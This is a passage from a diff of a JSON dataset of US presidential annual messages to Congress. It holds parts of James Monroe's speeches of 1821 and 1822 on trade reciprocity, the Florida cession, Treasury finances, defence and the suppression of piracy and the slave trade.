and\nrespectability as a power is admitted by all, but it is not in these\nimportant circumstances only that this happy effect is felt. It is manifest\nthat by enlarging the basis of our system and increasing the number of\nStates the system itself has been greatly strengthened in both its\nbranches. Consolidation and disunion have thereby been rendered equally\nimpracticable.Each Government, confiding in its own strength, has less to apprehend from\nthe other, and in consequence each, enjoying a greater freedom of action,\nis rendered more efficient for all the purposes for which it was\ninstituted.It is unnecessary to treat here of the vast improvement made in the system\nitself by the adoption of this Constitution and of its happy effect in\nelevating the character and in protecting the rights of the nation as well\nas individuals. To what, then, do we owe these blessings? It is known to\nall that we derive them from the excellence of our institutions. Ought we\nnot, then, to adopt every measure which may be necessary to perpetuate\nthem?", 
+    "name": "James Monroe"
+}
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+{
+    "date": "December 3, 1821", 
+    "speech": "Fellow-Citizens of the Senate and House of Representatives:The progress of our affairs since the last session has been such as may\njustly be claimed and expected under a Government deriving all its powers\nfrom an enlightened people, and under laws formed by their representatives,\non great consideration, for the sole purpose of promoting the welfare and\nhappiness of their constituents. In the execution of those laws and of the\npowers vested by the Constitution in the Executive, unremitted attention\nhas been paid to the great objects to which they extend.In the concerns which are exclusively internal there is good cause to be\nsatisfied with the result. The laws have had their due operation and\neffect.In those relating to foreign powers, I am happy to state that peace and\namity are preserved with all by a strict observance on both sides of the\nrights of each.In matters touching our commercial intercourse, where a difference of\nopinion has existed as to the conditions on which it should be placed, each\nparty has pursued its own policy without giving just cause of offense to\nthe other.In this annual communication, especially when it is addressed to a new\nCongress, the whole scope of our political concerns naturally comes into\nview, that errors, if such have been committed, may be corrected; that\ndefects which have become manifest may be remedied; and, on the other hand,\nthat measures which were adopted on due deliberation, and which experience\nhas shewn are just in themselves and essential to the public welfare,\nshould be persevered in and supported. In performing this necessary and\nvery important duty I shall endeavor to place before you on its merits\nevery subject that is thought to be entitled to your particular attention\nin as distinct and clear a light as I may be able.By an act of March 3rd, 1815, so much of the several acts as imposed higher\nduties on the tonnage of foreign vessels and on the manufactures and\nproductions of foreign nations when imported into the United States in\nforeign vessels than when imported in vessels of the United States were\nrepealed so far as respected the manufactures and productions of the nation\nto which such vessels belonged, on the condition that the repeal should\ntake effect only in favor of any foreign nation when the Executive should\nbe satisfied that such discriminating duties to the disadvantage of the\nUnited States had likewise been repealed by such nation.By this act a proposition was made to all nations to place our commerce\nwith each on a basis which it was presumed would be acceptable to all.\nEvery nation was allowed to bring its manufactures and productions into our\nports and to take the manufactures and productions of the United States\nback to their ports in their own vessels on the same conditions that they\nmight be transported in vessels of the United States, and in return it was\nrequired that a like accommodation should be granted to the vessels of the\nUnited States in the ports of other powers. The articles to be admitted or\nprohibited on either side formed no part of the proposed arrangement. Each\nparty would retain the right to admit or prohibit such articles from the\nother as it thought proper, and on its own conditions.When the nature of the commerce between the United States and every other\ncountry was taken into view, it was thought that this proposition would be\nconsidered fair, and even liberal, by every power. The exports of the\nUnited States consist generally of articles of the first necessity and of\nrude materials in demand for foreign manufactories, of great bulk,\nrequiring for their transportation many vessels, the return for which in\nthe manufactures and productions of any foreign country, even when disposed\nof there to advantage, may be brought in a single vessel. This observation\nis the more especially applicable to those countries from which\nmanufactures alone are imported, but it applies in great extent to the\nEuropean dominions of every European power and in a certain extent to all\nthe colonies of those powers. By placing, then, the navigation precisely on\nthe same ground in the transportation of exports and imports between the\nUnited States and other countries it was presumed that all was offered\nwhich could be desired. It seemed to be the only proposition which could be\ndevised which would retain even the semblance of equality in our favor.Many considerations of great weight gave us a right to expect that this\ncommerce should be extended to the colonies as well as to the European\ndominions of other powers. With the latter, especially with countries\nexclusively manufacturing, the advantage was manifestly on their side. An\nindemnity for that loss was expected from a trade with the colonies, and\nwith the greater reason as it was known that the supplies which the\ncolonies derived from us were of the highest importance to them, their\nlabor being bestowed with so much greater profit in the culture of other\narticles; and because, likewise, the articles of which those supplies\nconsisted, forming so large a proportion of the exports of the United\nStates, were never admitted into any of the ports of Europe except in cases\nof great emergency to avert a serious calamity.When no article is admitted which is not required to supply the wants of\nthe party admitting it, and admitted then not in favor of any particular\ncountry to the disadvantage of others, but on conditions equally applicable\nto all, it seems just that the articles thus admitted and invited should be\ncarried thither in the vessels of the country affording such supply and\nthat the reciprocity should be found in a corresponding accommodation on\nthe other side. By allowing each party to participate in the transportation\nof such supplies on the payment of equal tonnage a strong proof was\nafforded of an accommodating spirit. To abandon to it the transportation of\nthe whole would be a sacrifice which ought not to be expected. The demand\nin the present instance would be the more unreasonable in consideration of\nthe great inequality existing in the trade with the parent country.Such was the basis of our system as established by the act of 1815 and such\nits true character. In the year in which this act was passed a treaty was\nconcluded with Great Britain, in strict conformity with its principles, in\nregard to her European dominions. To her colonies, however, in the West\nIndies and on this continent it was not extended, the British Government\nclaiming the exclusive supply of those colonies, and from our own ports,\nand of the productions of the colonies in return in her own vessels. To\nthis claim the United States could not assent, and in consequence each\nparty suspended the intercourse in the vessels of the other by a\nprohibition which still exists.The same conditions were offered to France, but not accepted. Her\nGovernment has demanded other conditions more favorable to her navigation,\nand which should also give extraordinary encouragement to her manufactures\nand productions in ports of the United States. To these it was thought\nimproper to accede, and in consequence the restrictive regulations which\nhad been adopted on her part, being countervailed on the part of the United\nStates, the direct commerce between the two countries in the vessels of\neach party has been in great measure suspended. It is much to be regretted\nthat, although a negotiation has been long pending, such is the diversity\nof views entertained on the various points which have been brought into\ndiscussion that there does not appear to be any reasonable prospect of its\nearly conclusion.It is my duty to state, as a cause of very great regret, that very serious\ndifferences have occurred in this negotiation respecting the construction\nof the 8th article of the treaty of 1803, by which Louisiana was ceded to\nthe United States, and likewise respecting the seizure of the Apollo, in\n1820, for a violation of our revenue laws. The claim of the Government of\nFrance has excited not less surprise than concern, because there does not\nappear to be a just foundation for it in either instance. By the 8th\narticle of the treaty referred to it is stipulated that after the\nexpiration of twelve years, during which time it was provided by the 7th or\npreceding article that the vessels of France and Spain should be admitted\ninto the ports of the ceded territory without paying higher duties on\nmerchandise or tonnage on the vessels than such as were paid by citizens of\nthe United States, the ships of France should forever afterwards be placed\non the footing of the most favored nation.By the obvious construction of this article it is presumed that it was\nintended that no favor should be granted to any power in those ports to\nwhich France should not be forthwith entitled, nor should any accommodation\nbe allowed to another power on conditions to which she would not also be\nentitled on the same conditions. Under this construction no favor or\naccommodation could be granted to any power to the prejudice of France. By\nallowing the equivalent allowed by those powers she would always stand in\nthose ports on the footing of the most favored nation.But if this article should be so construed as that France should enjoy, of\nright, and without paying the equivalent, all the advantages of such\nconditions as might be allowed to other powers in return for important\nconcessions made by them, then the whole character of the stipulations\nwould be changed. She would not be placed on the footing of the most\nfavored nation, but on a footing held by no other nation. She would enjoy\nall advantages allowed to them in consideration of like advantages allowed\nto us, free from every and any condition whatever.As little cause has the Government of France to complain of the seizure of\nthe Apollo and the removal of other vessels from the waters of the St.\nMarys. It will not be denied that every nation has a right to regulate its\ncommercial system as it thinks fit and to enforce the collection of its\nrevenue, provided it be done without an invasion of the rights of other\npowers. The violation of its revenue laws is an offense which all nations\npunish, the punishment of which gives no just cause of complaint to the\npower to which the offenders belong, provided it be extended to all\nequally.In this case every circumstance which occurred indicated a fixed purpose to\nviolate our revenue laws. Had the party intended to have pursued a fair\ntrade he would have entered the port of some other power, landed his goods\nat the custom house according to law, and re-shipped and sent them in the\nvessel of such power, or of some other power which might lawfully bring\nthem, free from such duties, to a port of the United States. But the\nconduct of the party in this case was altogether different. He entered the\nriver St. Marys, the boundary line between the United States and Florida,\nand took his position on the Spanish side, on which in the whole extent of\nthe river there was no town, no port or custom house, and scarcely any\nsettlement. His purpose, therefore, was not to sell his goods to the\ninhabitants of Florida, but to citizens of the United States, in exchange\nfor their productions, which could not be done without a direct and\npalpable breach of our laws. It is known that a regular systematic plan had\nbeen formed by certain persons for the violation of our revenue system,\nwhich made it the more necessary to check the proceeding in its\ncommencement.That the unsettled bank of a river so remote from the Spanish garrisons and\npopulation could give no protection to any party in such a practice is\nbelieved to be in strict accord with the law of nations. It would not have\ncomported with a friendly policy in Spain herself to have established a\ncustom house there, since it could have subserved no other purpose than to\nelude our revenue law. But the Government of Spain did not adopt that\nmeasure. On the contrary, it is understood that the Captain-General of\nCuba, to whom an application to that effect was made by these adventurers,\nhad not acceded to it.The condition of those Provinces for many years before they were ceded to\nthe United States need not now be dwelt on. Inhabited by different tribes\nof Indians and an inroad for every kind of adventurer, the jurisdiction of\nSpain may be said to have been almost exclusively confined to her\ngarrisons. It certainly could not extend to places where she had no\nauthority. The rules, therefore, applicable to settled countries governed\nby laws could not be deemed so to the deserts of Florida and to the\noccurrences there.It merits attention also that the territory had been ceded to the United\nStates by a treaty the ratification of which had not been refused, and\nwhich has since been performed. Under any circumstances, therefore, Spain\nbecame less responsible for such acts committed there, and the United\nStates more at liberty to exercise authority to prevent so great a\nmischief. The conduct of this Government has in every instance been\nconciliatory and friendly to France. The construction of our revenue law in\nits application to the cases which have formed the ground of such serious\ncomplaint on her part and the order to the collector of St. Marys, in\naccord with it, were given two years before these cases occurred, and in\nreference to a breach which was attempted by the subjects of another power.\nThe application, therefore, to the cases in question was inevitable. As\nsoon as the treaty by which these Provinces were ceded to the United States\nwas ratified, and all danger of further breach of our revenue laws ceased,\nan order was given for the release of the vessel which had been seized and\nfor the dismission of the libel which had been instituted against her.The principles of this system of reciprocity, founded on the law of\nMarch 3rd, 1815, have been since carried into effect with the Kingdoms of\nthe Netherlands, Sweden, Prussia, and with Hamburg, Lubeck, and Oldenburg,\nwith a provision made by subsequent laws in regard to the Netherlands,\nPrussia, Hamburg, and Bremen that such produce and manufactures as could\nonly be, or most usually were, first shipped from the ports of those\ncountries, the same being imported in vessels wholly belonging to their\nsubjects, should be considered and admitted as their own manufactures and\nproductions.The Government of Norway has by an ordinance opened the ports of that part\nof the dominions of the King of Sweden to the vessels of the United States\nupon the payment of no other or higher duties than are paid by Norwegian\nvessels, from whatever place arriving and with whatever articles laden.\nThey have requested the reciprocal allowance for the vessels of Norway in\nthe ports of the United States. As this privilege is not within the scope\nof the act of March 3rd, 1815, and can only be granted by Congress, and as\nit may involve the commercial relations of the United States with other\nnations, the subject is submitted to the wisdom of Congress.I have presented thus fully to your view our commercial relations with\nother powers, that, seeing them in detail with each power, and knowing the\nbasis on which they rest, Congress may in its wisdom decide whether any\nchange ought to be made, and, if any, in what respect. If this basis is\nunjust or unreasonable, surely it ought to be abandoned; but if it be just\nand reasonable, and any change in it will make concessions subversive of\nequality and tending in its consequences to sap the foundations of our\nprosperity, then the reasons are equally strong for adhering to the ground\nalready taken, and supporting it by such further regulations as may appear\nto be proper, should any additional support be found necessary.The question concerning the construction of the first article of the treaty\nof Ghent has been, by a joint act of the representatives of the United\nStates and of Great Britain at the Court of St. Petersburg, submitted to\nthe decision of His Imperial Majesty the Emperor of Russia. The result of\nthat submission has not yet been received. The commissioners under the 5th\narticle of that treaty not having been able to agree upon their decision,\ntheir reports to the two Governments, according to the provisions of the\ntreaty, may be expected at an early day.With Spain the treaty of February 22nd, 1819, has been partly carried into\nexecution. Possession of East and West Florida has been given to the\nUnited States, but the officers charged with that service by an order\nfrom His Catholic Majesty, delivered by his minister to the Secretary of\nState, and transmitted by a special agent to the Captain-General of Cuba,\nto whom it was directed and in whom the Government of those Provinces\nwas vested, have not only omitted, in contravention of the order of their\nSovereign, the performance of the express stipulation to deliver over the\narchives and documents relating to the property and sovereignty of those\nProvinces, all of which it was expected would have been delivered either\nbefore or when the troops were withdrawn, but defeated since every effort\nof the United States to obtain them, especially those of the greatest\nimportance. This omission has given rise to several incidents of a painful\nnature, the character of which will be fully disclosed by the documents\nwhich will be hereafter communicated.In every other circumstance of the law of the 3rd of March last, for\ncarrying into effect that treaty, has been duly attended to. For the\nexecution of that part which preserved in force, for the Government of the\ninhabitants for the term specified, all the civil, military, and judicial\npowers exercised by the existing Government of those Provinces an adequate\nnumber of officers, as was presumed, were appointed, and ordered to their\nrespective stations. Both Provinces were formed into one Territory, and a\ngovernor appointed for it; but in consideration of the pre-existing\ndivision and of the distance and difficulty of communication between\nPensacola, the residence of the governor of West Florida, and St.\nAugustine, that of the governor of East Florida, at which places the\ninconsiderable population of each Province was principally collected, two\nsecretaries were appointed, the one to reside at Pensacola and the other at\nSt. Augustine.Due attention was likewise paid to the execution of the laws of the United\nStates relating to the revenue and the slave trade, which were extended to\nthese Provinces. The whole Territory was divided into three collection\ndistricts, that part lying between the river St. Marys and Cape Florida\nforming one, that from the Cape to the Apalachicola another, and that from\nthe Apalachicola to the Perdido the third. To these districts the usual\nnumber of revenue officers were appointed; and to secure the due operation\nof these laws one judge and a district attorney were appointed to reside at\nPensacola, and likewise one judge and a district attorney to reside at St.\nAugustine, with a specified boundary between them; and one marshal for the\nwhole, with authority to appoint a deputy.In carrying this law into effect, and especially that part relating to the\npowers of the existing Government of those Provinces, it was thought\nimportant, in consideration of the short term for which it was to operate\nand the radical change which would be made at the approaching session of\nCongress, to avoid expense, to make no appointment which should not be\nabsolutely necessary to give effect to those powers, to withdraw none of\nour citizens from their pursuits, whereby to subject the Government to\nclaims which could not be gratified and the parties to losses which it\nwould be painful to witness.It has been seen with much concern that in the performance of these duties\na collision arose between the governor of the Territory and the judge\nappointed for the western district. It was presumed that the law under\nwhich this transitory Government was organized, and the commissions which\nwere granted to the officers who were appointed to execute each branch of\nthe system, and to which the commissions were adapted, would have been\nunderstood in the same sense by them in which they were understood by the\nExecutive. Much allowance is due to officers employed in each branch of\nthis system, and the more so as there is good cause to believe that each\nacted under the conviction that he possessed the power which he undertook\nto exercise. Of the officer holding the principal station, I think it\nproper to observe that he accepted it with reluctance, in compliance with\nthe invitation given him, and from a high sense of duty to his country,\nbeing willing to contribute to the consummation of an event which would\ninsure complete protection to an important part of our Union, which had\nsuffered much from incursion and invasion, and to the defense of which his\nvery gallant and patriotic services had been so signally and usefully\ndevoted.From the intrinsic difficulty of executing laws deriving their origin from\ndifferent sources, and so essentially different in many important\ncircumstances, the advantage, and indeed the necessity, of establishing as\nsoon as practicable a well-organized Government over that Territory on the\nprinciples of our system is apparent. This subject is therefore recommended\nto the early consideration of Congress.In compliance with an injunction of the law of the 3rd of March last, three\ncommissioners have also been appointed and a board organized for carrying\ninto effect the 11th article of the treaty above recited, making provision\nfor the payment of such of our citizens as have well-founded claims on\nSpain of the character specified by that treaty. This board has entered on\nits duties and made some progress therein. The commissioner and surveyor of\nHis Catholic Majesty, provided for by the 4th article of the treaty, have\nnot yet arrived in the United States, but are soon expected. As soon as\nthey do arrive corresponding appointments will be made and every facility\nbe afforded for the due execution of this service.The Government of His Most Faithful Majesty since the termination of the\nlast session of Congress has been removed from Rio de Janeiro to Lisbon,\nwhere a revolution similar to that which had occurred in the neighboring\nKingdom of Spain had in like manner been sanctioned by the accepted and\npledged faith of the reigning monarch. The diplomatic intercourse between\nthe United States and the Portuguese dominions, interrupted by this\nimportant event, has not yet been resumed, but the change of internal\nadministration having already materially affected the commercial\nintercourse of the United States with the Portuguese dominions, the renewal\nof the public missions between the two countries appears to be desirable at\nan early day.It is understood that the colonies in South America have had great success\nduring the present year in the struggle for their independence. The new\nGovernment of Colombia has extended its territories and considerably\naugmented its strength, and at Buenos Ayres, where civil dissensions had\nfor some time before prevailed, greater harmony and better order appear to\nhave been established. Equal success has attended their efforts in the\nProvinces on the Pacific. It has long been manifest that it would be\nimpossible for Spain to reduce these colonies by force, and equally so that\nno conditions short of their independence would be satisfactory to them. It\nmay therefore be presumed, and it is earnestly hoped, that the Government\nof Spain, guided by enlightened and liberal councils, will find it to\ncomport with its interests and due to its magnanimity to terminate this\nexhausting controversy on that basis. To promote this result by friendly\ncounsel with the Government of Spain will be the object of the Government\nof the United States.In conducting the fiscal operations of the year it has been found necessary\nto carry into full effect the act of the last session of Congress\nauthorizing a loan of $5 millions. This sum has been raised at an average\npremium of $5.59 per centum upon stock bearing an interest at the rate of\n5% per annum, redeemable at the option of the Government after January\n1st, 1835.There has been issued under the provisions of this act $4,735,296.30 of 5%\nstock, and there has been or will be redeemed during the year $3,197,030.71\nof Louisiana 6% deferred stock and Mississippi stock. There has therefore\nbeen an actual increase of the public debt contracted during the year of\n$1,538,266.69.The receipts into the Treasury from the first of January to the 30th of\nSeptember last have amounted to $16,219,197.70, which, with the balance of\n$1,198,461.21 in the Treasury on the former day, make the aggregate sum of\n$17,417,658.91. The payments from the Treasury during the same period have\namounted to $15,655,288.47, leaving in the Treasury on the last-mentioned\nday the sum of $1,762,370.44. It is estimated that the receipts of the 4th\nquarter of the year will exceed the demands which will be made on the\nTreasury during the same period, and that the amount in the Treasury on the\n30th of September last will be increased on the first day of January next.At the close of the last session it was anticipated that the progressive\ndiminution of the public revenue in 1819 and 1820, which had been the\nresult of the languid state of our foreign commerce in those years, had in\nthe latter year reached its extreme point of depression. It has, however,\nbeen ascertained that that point was reached only at the termination of the\nfirst quarter of the present year. From that time until the 30th of\nSeptember last the duties secured have exceeded those of the corresponding\nquarters of the last year $1.172 millions, whilst the amount of debentures\nissued during the three first quarters of this year is $952,000 less than\nthat of the same quarters of the last year.There are just grounds to believe that the improvement which has occurred\nin the revenue during the last-mentioned period will not only be\nmaintained, but that it will progressively increase through the next and\nseveral succeeding years, so as to realize the results which were presented\nupon that subject by the official reports of the Treasury at the\ncommencement of the last session of Congress.Under the influence of the most unfavorable circumstances the revenue for\nthe next and subsequent years to the year 1825 will exceed the demands at\npresent authorized by law.It may fairly be presumed that under the protection given to domestic\nmanufactures by the existing laws we shall become at no distant period a\nmanufacturing country on an extensive scale. Possessing as we do the raw\nmaterials in such vast amount, with a capacity to augment them to an\nindefinite extent; raising within the country aliment of every kind to an\namount far exceeding the demand for home consumption, even in the most\nunfavorable years, and to be obtained always at a very moderate price;\nskilled also, as our people are, in the mechanic arts and in every\nimprovement calculated to lessen the demand for and the price of labor, it\nis manifest that their success in every branch of domestic industry may and\nwill be carried, under the encouragement given by the present duties, to an\nextent to meet any demand which under a fair competition may be made upon\nit.A considerable increase of domestic manufactures, by diminishing the\nimportation of foreign, will probably tend to lessen the amount of the\npublic revenue. As, however, a large proportion of the revenue which is\nderived from duties is raised from other articles than manufactures, the\ndemand for which will increase with our population, it is believed that a\nfund will still be raised from that source adequate to the greater part of\nthe public expenditures, especially as those expenditures, should we\ncontinue to be blessed with peace, will be diminished by the completion of\nthe fortifications, dock yards, and other public works, by the augmentation\nof the Navy to the point to which it is proposed to carry it, and by the\npayment of the public debt, including pensions for military services.It can not be doubted that the more complete our internal resources and the\nless dependent we are on foreign powers for every national as well as\ndomestic purpose the greater and more stable will be the public felicity.\nBy the increase of domestic manufactures will the demand for the rude\nmaterials at home be increased, and thus will the dependence of the several\nparts of our Union on each other and the strength of the Union itself be\nproportionably augmented.In this process, which is very desirable, and inevitable under the existing\nduties, the resources which obviously present themselves to supply a\ndeficiency in the revenue, should it occur, are the interests which may\nderive the principal benefit from the change. If domestic manufactures are\nraised by duties on foreign, the deficiency in the fund necessary for\npublic purposes should be supplied by duties on the former.At the last session it seemed doubtful whether the revenue derived from the\npresent sources would be adequate to all the great purposes of our Union,\nincluding the construction of our fortifications, the augmentation of the\nNavy, and the protection of our commerce against the dangers to which it is\nexposed. Had the deficiency been such as to subject us to the necessity\neither to abandon those measures of defense or to resort to the other means\nfor adequate funds, the course presented to the adoption of a virtuous and\nenlightened people appeared to be a plain one. It must be gratifying to all\nto know that this necessity does not exist. Nothing, however, in\ncontemplation of such important objects, which can be easily provided for,\nshould be left to hazard. It is thought that the revenue may receive an\naugmentation from the existing sources, and in a manner to aid our\nmanufactures, without hastening prematurely the result which has been\nsuggested. It is believed that a moderate additional duty on certain\narticles would have that effect, without being liable to any serious\nobjection.The examination of the whole coast, for the construction of permanent\nfortifications, from St. Croix to the Sabine, with the exception of part of\nthe territory lately acquired, will be completed in the present year, as\nwill be the survey of the Mississippi, under the resolution of the House of\nRepresentatives, from the mouth of the Ohio to the ocean, and likewise of\nthe Ohio from Louisville to the Mississippi. A progress corresponding with\nthe sums appropriated has also been made in the construction of these\nfortifications at the ports designated. As they will form a system of\ndefense for the whole maritime frontier, and in consequence for the\ninterior, and are to last for ages, the greatest care has been taken to fix\nthe position of each work and to form it on such a scale as will be\nadequate to the purpose intended by it. All the inlets and assailable parts\nof our Union have been minutely examined, and positions taken with a view\nto the best effect, observing in every instance a just regard for economy.\nDoubts, however, being entertained as to the propriety of the position and\nextent of the work at Dauphine Island, further progress in it was suspended\nsoon after the last session of Congress, and an order given to the Board of\nEngineers and Naval Commissioners to make a further and more minute\nexamination of it in both respects, and to report the result without\ndelay.Due progress has been made in the construction of vessels of war according\nto the law providing for the gradual augmentation of the Navy, and to the\nextent of existing appropriations. The vessels authorized by the act of\n1820 have all been completed and are now in actual service. None of the\nlarger ships have been or will be launched for the present, the object\nbeing to protect all which may not be required for immediate service from\ndecay by suitable buildings erected over them.A squadron has been maintained, as heretofore, in the Mediterranean, by\nmeans whereof peace has been preserved with the Barbary Powers. This\nsquadron has been reduced the present year to as small a force as is\ncompatible with the fulfillment of the object intended by it. From past\nexperience and the best information respecting the views of those powers it\nis distinctly understood that should our squadron be withdrawn they would\nsoon recommence their hostilities and depredations upon our commerce. Their\nfortifications have lately been rebuilt and their maritime force\nincreased.It has also been found necessary to maintain a naval force on the Pacific\nfor the protection of the very important interests of our citizens engaged\nin commerce and the fisheries in that sea. Vessels have likewise been\nemployed in cruising along the Atlantic coast, in the Gulf of Mexico, on\nthe coast of Africa, and in the neighboring seas. In the latter many\npiracies have been committed on our commerce, and so extensive was becoming\nthe range of those unprincipled adventurers that there was cause to\napprehend, without a timely and decisive effort to suppress them, the worst\nconsequences would ensue. Fortunately, a considerable check has been given\nto that spirit by our cruisers, who have succeeded in capturing and\ndestroying several of their vessels. Nevertheless, it is considered an\nobject of high importance to continue these cruises until the practice is\nentirely suppressed.Like success has attended our efforts to suppress the slave trade. Under\nthe flag of the United States and the sanction of their papers the trade\nmay be considered as entirely suppressed, and if any of our citizens are\nengaged in it under the flags and papers of other powers, it is only from a\nrespect of those powers that these offenders are not seized and brought\nhome to receive the punishment which the laws inflict. If every other power\nshould adopt the same policy and pursue the same vigorous means for\ncarrying it into effect, the trade could no longer exist.Deeply impressed with the blessings which we enjoy, and of which we have\nsuch manifold proofs, my mind is irresistibly drawn to that Almighty Being,\nthe great source from whence they proceed and to whom our most grateful\nacknowledgments are due.", 
+    "name": "James Monroe"
+}
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+{
+    "date": "December 3, 1822", 
+    "speech": "Fellow-Citizens of the Senate and House of Representatives:Many causes unite to make your present meeting peculiarly interesting to\nout constituents. The operation of our laws on the various subjects to\nwhich they apply, with the amendments which they occasionally require,\nimposes annually an important duty on the representatives of a free\npeople.Our system has happily advanced to such maturity that I am not aware that\nyour cares in that respect will be augmented. Other causes exist which are\nhighly interesting to the whole civilized world and to no portion of it\nmore so, in certain views, than to the United States. Of these causes and\nof their bearing on the interests of our Union I shall communicate the\nsentiments which I have formed with that freedom which a sense of duty\ndictates. It is proper, however, to invite your attention in the first\ninstance to those concerns respecting which legislative provision is\nthought to be particularly urgent.On the 24th of June last a convention of navigation and commerce was\nconcluded in this city between the United States and France by ministers\nduly authorized for the purpose. The sanction of the Executive having been\ngiven to this convention under a conviction that, taking all its\nstipulations into view, it rested essentially on a basis of reciprocal and\nequal advantage, I deemed it my duty, in compliance with the authority\nvested in the Executive by the second section of the act of the last\nsession of the 6th of May, concerning navigation, to suspend by\nproclamation until the end of the next session of Congress the operation of\nthe act entitled \"An act to impose a new tonnage duty on French ships and\nvessels, and for other purposes\", and to suspend likewise all other duties\non French vessels or the goods imported in them which exceeded the duties\non American vessels and on similar goods imported in them. I shall submit\nthis convention forthwith to the Senate for its advice and consent as to\nthe ratification.Since your last session the prohibition which had been imposed on the\ncommerce between the United States and the British colonies in the West\nIndies and on this continent has likewise been removed. Satisfactory\nevidence having been adduced that the ports of those colonies had been\nopened to the vessels of the United States by an act of the British\nParliament bearing date on the 24th of June last, on the conditions\nspecified therein, I deemed it proper, in compliance with the provision of\nthe first section of the act of the last session above recited, to declare,\nby proclamation bearing date on the 24th of August last, that the ports of\nthe United States should thenceforward and until the end of the next\nsession of Congress be opened to the vessels of Great Britain employed in\nthat trade, under the limitation specified in that proclamation.A doubt was entertained whether the act of Congress applied to the British\ncolonies on this continent as well as to those in the West Indies, but as\nthe act of Parliament opened the intercourse equally with both, and it was\nthe manifest intention of Congress, as well as the obvious policy of the\nUnited States, that the provisions of the act of Parliament should be met\nin equal extent on the part of the United States, and as also the act of\nCongress was supposed to vest in the President some discretion in the\nexecution of it, I thought it advisable to give it a corresponding\nconstruction.Should the constitutional sanction of the Senate be given to the\nratification of the convention with France, legislative provisions will be\nnecessary to carry it fully into effect, as it likewise will be to continue\nin force, on such conditions as may be deemed just and proper, the\nintercourse which has been opened between the United States and the British\ncolonies. Every light in the possession of the Executive will in due time\nbe communicated on both subjects.Resting essentially on a basis of reciprocal and equal advantage, it has\nbeen the object of the Executive in transactions with other powers to meet\nthe propositions of each with a liberal spirit, believing that thereby the\ninterest of our country would be most effectually promoted. This course has\nbeen systematically pursued in the late occurrences with France and Great\nBritain, and in strict accord with the views of the Legislature. A\nconfident hope is entertained that by the arrangement thus commenced with\neach all differences respecting navigation and commerce with the dominions\nin question will be adjusted, and a solid foundation be laid for an active\nand permanent intercourse which will prove equally advantageous to both\nparties.The decision of His Imperial Majesty the Emperor of Russia on the question\nsubmitted to him by the United States and Great Britain, concerning the\nconstruction of the first article of the treaty of Ghent, has been\nreceived. A convention has since been concluded between the parties, under\nthe mediation of His Imperial Majesty, to prescribe the mode by which that\narticle shall be carried into effect in conformity with that decision. I\nshall submit this convention to the Senate for its advice and consent as to\nthe ratification, and, if obtained, shall immediately bring the subject\nbefore Congress for such provisions as may require the interposition of the\nLegislature.In compliance with an act of the last session a Territorial Government has\nbeen established in Florida on the principles of our system. By this act\nthe inhabitants are secured in the full enjoyment of their rights and\nliberties, and to admission into the Union, with equal participation in the\nGovernment with the original States on the conditions heretofore prescribed\nto other Territories. By a clause in the 9th article of the treaty with\nSpain, by which that Territory was ceded to the United States, it is\nstipulated that satisfaction shall be made for the injuries, if any, which\nby process of law shall be established to have been suffered by the Spanish\nofficers and individual Spanish inhabitants by the late operations of our\ntroops in Florida. No provision having yet been made to carry that\nstipulation into effect, it is submitted to the consideration of Congress\nwhether it will not be proper to vest the competent power in the district\ncourt at Pensacola, or in some tribunal to be specially organized for the\npurpose.The fiscal operations of the year have been more successful than had been\nanticipated at the commencement of the last session of Congress.The receipts into the Treasury during the three first quarters of the year\nhave exceeded the sum of $14.745 millions. The payments made at the\nTreasury during the same period have exceeded $12.279 millions, leaving\nthe Treasury on the 30th day of September last, including $1,168,592.24\nwhich were in the Treasury on the first day of January last, a sum\nexceeding $4.128 millions.Besides discharging all demands for the current service of the year,\nincluding the interest and reimbursement of the public debt, the 6% stock\nof 1796, amounting to $80,000, has been redeemed. It is estimated that,\nafter defraying the current expenses of the present quarter and redeeming\nthe $2 millions of 6% stock of 1820, there will remain in the Treasury on\nthe first of January next nearly $3 millions. It is estimated that the\ngross amount of duties which have been secured from the first of January\nto the 30th of September last has exceeded $19.5 millions, and the amount\nfor the whole year will probably not fall short of $23 millions.Of the actual force in service under the present military establishment,\nthe posts at which it is stationed, and the condition of each post, a\nreport from the Secretary of War which is now communicated will give a\ndistinct idea. By like reports the state of the Academy at West Point will\nbe seen, as will be the progress which has been made on the fortifications\nalong the coast and at the national armories and arsenals.The organization of the several corps composing the Army is such as to\nadmit its expansion to a great extent in case of emergency, the officers\ncarrying with them all the light which they possess to the new corps to\nwhich they might be appointed.With the organization of the staff there is equal cause to be satisfied. By\nthe concentration of every branch with its chief in this city, in the\npresence of the Department, and with a grade in the chief military station\nto keep alive and cherish a military spirit, the greatest promptitude in\nthe execution of orders, with the greatest economy and efficiency, are\nsecured. The same view is taken of the Military Academy. Good order is\npreserved in it, and the youth are well instructed in every science\nconnected with the great objects of the institution. They are also well\ntrained and disciplined in the practical parts of the profession. It has\nbeen always found difficult to control the ardor inseparable from that\nearly age in such manner as to give it a proper direction. The rights of\nmanhood are too often claimed prematurely, in pressing which too far the\nrespect which is due to age and the obedience necessary to a course of\nstudy and instruction in every such institution are sometimes lost sight\nof. The great object to be accomplished is the restraint of that ardor by\nsuch wise regulations and Government as, by directing all the energies of\nthe youthful mind to the attainment of useful knowledge, will keep it\nwithin a just subordination and at the same time elevate it to the highest\npurposes. This object seems to be essentially obtained in this institution,\nand with great advantage to the Union.The Military Academy forms the basis, in regard to science, on which the\nmilitary establishment rests. It furnishes annually, after due examination\nand on the report of the academic staff, many well-informed youths to fill\nthe vacancies which occur in the several corps of the Army, while others\nwho retire to private life carry with them such attainments as, under the\nright reserved to the several States to appoint the officers and to train\nthe militia, will enable them, by affording a wider field for selection, to\npromote the great object of the power vested in Congress of providing for\nthe organizing, arming, and disciplining the militia. Thus by the mutual\nand harmonious cooperation of the two governments in the execution of a\npower divided between them, an object always to be cherished, the\nattainment of a great result, on which our liberties may depend, can not\nfail to be secured. I have to add that in proportion as our regular force\nis small should the instruction and discipline of the militia, the great\nresource on which we rely, be pushed to the utmost extent that\ncircumstances will admit.A report from the Secretary of the Navy will communicate the progress which\nhas been made in the construction of vessels of war, with other interesting\ndetails respecting the actual state of the affairs of that Department. It\nhas been found necessary for the protection of our commerce to maintain the\nusual squadrons on the Mediterranean, the Pacific, and along the Atlantic\ncoast, extending the cruises of the latter into the West Indies, where\npiracy, organized into a system, has preyed on the commerce of every\ncountry trading thither. A cruise has also been maintained on the coast of\nAfrica, when the season would permit, for the suppression of the slave\ntrade, and orders have been given to the commanders of all our public ships\nto seize our own vessels, should they find any engaging in that trade, and\nto bring them in for adjudication.In the West Indies piracy is of recent date, which may explain the cause\nwhy other powers have not combined against it. By the 